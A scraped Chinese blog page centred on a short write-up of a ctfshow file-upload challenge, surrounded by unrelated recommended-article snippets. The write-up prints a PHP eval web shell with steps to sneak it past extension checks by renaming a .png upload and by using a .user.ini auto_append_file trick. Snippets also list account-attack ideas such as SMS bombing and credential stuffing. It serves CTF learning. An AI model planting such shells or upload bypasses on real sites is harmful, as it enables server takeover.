墨衍会员
·
AI 创作全网分发
墨衍智能分发
本文由作者通过墨衍一键同步至各平台
1分发平台
1.3k累计阅读
1.3k平均单平台
已同步平台
优快云
微信公众号
微博
知乎
掘金
百家号
博客园
抖音
小红书
你的文章也可以这样分发
墨衍会员 ¥399起/年，写一次发全网
我也要
目录
首先写一个一句哈：
<?php @eval($_POST["1"]);?>
然后修改文件后缀为png(题目限制)，上传文件同时进行抓包，然后修改后缀php，然后蚁剑连接，找到flag
拿到flag~~~~
使用.user.ini绕过
.user.ini
摘抄其他大佬的解释：
指定一个文件（如a.jpg），那么该文件就会被包含在要执行的php文件中（如index.php），类似于在index.php中插入一句：require(./a.jpg);这两个设置的区别只是在于auto_prepend_file是在文件前插入；auto_append_file在文件最后插入（当文件调用的有exit()时该设置无效）所以要求当前目录必须要有php文件上传.user.ini内容为auto_append_file="xxx"
xxx为我们上传的文件名，这样在php文件上传了我们的木马文件
步骤：</
文件上传+CTF题目
文章目录概念：文件上传绕过：1.绕过js代码：2.绕过服务端（MIME类型）3.绕过黑名单绕过白名单图片马文件上传后利用蚁剑进行连接后门 概念： web客户端在上传文件时，没有对上传文件的内容，扩展名等进行过滤。 文件上传绕过： 1.绕过js代码： （1）一般的web网页前端在上传文件时，都会利用js代码对文件的扩展名。也就是说，如果对文件的扩展名进行过滤了，可能是js代码的作用了。 （2）方法:利用火狐的about：config来禁用js代码执行。 先使用可以使用的扩展名进行上传，利用bp抓包，改数据包扩
CTFshow-文件上传(Web151-170)
htaccess被称为超文本入口，此文件有多个功能，其中一个功能可以。
ctfshow WEB入门 文件上传151-170_ctfshow web入门文件包含167
只是过滤了分号，其他同上。php的最后一个分号可以省略。
ctfshow web151-161（文件上传一）
我这一生如履薄冰，你说我还能到对岸吗？？？
ctfshow web入门文件上传总结
利用的还是.user.ini,写入auto_prepend_file=1.png，在上传1.png ，写入 GIF89a ，访问链接就可得到 (http://…/f*”)>，得到flag。利用的还是.user.ini,写入auto_prepend_file=1.png，在上传1.png ，写入，访问链接就可得到 (http://…
CTFShow-WEB入门篇文件上传详细Wp(151-170)_ctfshow文件上传wp
【代码】CTFShow-WEB入门篇文件上传详细Wp(151-170)_ctfshow文件上传wp。
[ctfshow]web入门——文件上传（web156-web163）
[ctfshow]web入门——文件上传 web156 上传.user.ini web157 web158 web159 web160 上传.user.ini+日志包含 web161 web162 way1：远程文件包含 way2：session条件竞争包含 web163 上传口 试了试upload界面有一个默认文件，可以用上传.user.ini的方法 后台应该是屏蔽了很多字符串（php
CTFShow-WEB入门篇文件上传详细Wp(151-170)_ctfshow文件上传wp(1)
当我学到一定基础，有自己的理解能力的时候，会去阅读一些前辈整理的书籍或者手写的笔记资料，这些笔记详细记载了他们对一些技术点的理解，这些理解是比较独到，可以学到不一样的思路。可以说是最科学最系统的学习路线，大家跟着这个大的方向学习准没问题。网安所有方向的技术点做的整理，形成各个领域的知识点汇总，它的用处就在于，你可以按照上面的知识点去找对应的学习资源，保证自己学得较为全面。观看零基础学习视频，看视频学习是最快捷也是最有效果的方式，跟着视频中老师的思路，从基础到深入，还是很容易入门的。
各种逻辑漏洞
注册：短信轰炸验证码安全问题密码爆破邮箱轰炸用户任意注册、批量注册用户名枚举XSS（有框的地方就可以尝试插XSS）登录：短信轰炸、验证码安全问题、密码爆破、邮箱轰炸SQL注入撞库抓包把password字段修改为空值发送认证凭证替换、比如返回的数据包中包含账号，修改账号就能登录到其他账号Cookie仿冒修改返回包的相关数据，可能会登陆到其他的用户找回密码：短信邮箱轰炸、短信邮箱劫持重置任意用户账户密码、验证码手机用户未统一验证直接跳过验证步骤。
使用python对创芯科技CANalyst-II分析仪进行二次开发（详细教程）
使用python对创芯科技CANalyst-II分析仪进行二次开发
在树莓派5（8G版）上运行Ollama + LLM
直接上结论，Ollama在树莓派上能安装，且本身运行起来毫无压力，但具体到大语言模型，Deepseek似乎不总是最佳选择。
PCA9548实战：从硬件连接到Linux驱动的I2C扩展全解析
本文详细解析了PCA9548 I2C多路复用器从硬件连接到Linux驱动配置的全过程。涵盖硬件引脚连接、电源去耦、地址选择等关键设计要点，以及Linux驱动加载、设备树配置和应用层编程技巧，帮助开发者高效实现I2C总线扩展。
避坑指南：从聚宽迁移到QMT必须知道的5个细节（含Redis连接异常处理）
本文详细解析了从聚宽迁移到QMT平台时需注意的5个关键细节，特别是Redis连接池优化和xtquant重连机制。通过实战代码示例，帮助量化团队解决信号传递稳定性、时间同步、滑点控制等核心问题，确保交易策略平稳过渡。
【信息科学与工程学】【物理/化学科学和工程技术】第八篇 光学07
对于光源-探测器距离 ρ， 稳态漫反射率 R(ρ) ≈ (1/(4π)) [ z₀ (μ_eff + 1/r₁) exp(-μ_eff r₁)/r₁² + (z₀ + 2z_b) (μ_eff + 1/r₂) exp(-μ_eff r₂)/r₂² ]， 其中 μ_eff = √(3μ_a(μ_a+μ_s’))， z₀=1/μ_s’， z_b 与边界条件有关。通过测量光纤各点的布里渊频移 ν_B(z) 来得到应变/温度分布：Δν_B(z) = C_ν,ε Δε(z) + C_ν,T ΔT(z)。
Python 爬虫实战：在丁香医生抓取健康科普文章阅读量，普及健康知识
requests：用于发送 HTTP 请求，获取网页内容。或 lxml：用于解析 HTML 页面，提取目标数据。pandas：用于数据清洗和分析。matplotlib和seaborn：用于数据可视化。通过本项目，我们实现了以下目标：使用 Python 爬虫抓取丁香医生的健康科普文章阅读量。对数据进行清洗和分析，找出热门文章。通过可视化展示数据，并普及健康知识。
廖雪峰Python教程[完整版]
廖雪峰的python教程整理的，已经排好版了，而且还是完整的，适合小白
ssm框架搭建
这个是一个在idea上成功跑起来的ssm框架项目，保存在这里方便以后使用直接下载
efm32 入门.pdf
本PDF共计22页，介绍的是操作驱动API，下载与否自己斟酌。
老版QQ原生表情gif动态
这是老版的QQ表情，不过全是动态的的，Windows照片查看器是不会动的，可以右击用浏览器打开查看，再说一遍是老版的，只是分享给宁愿用老版也要动态的人。
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
2867
扫一扫
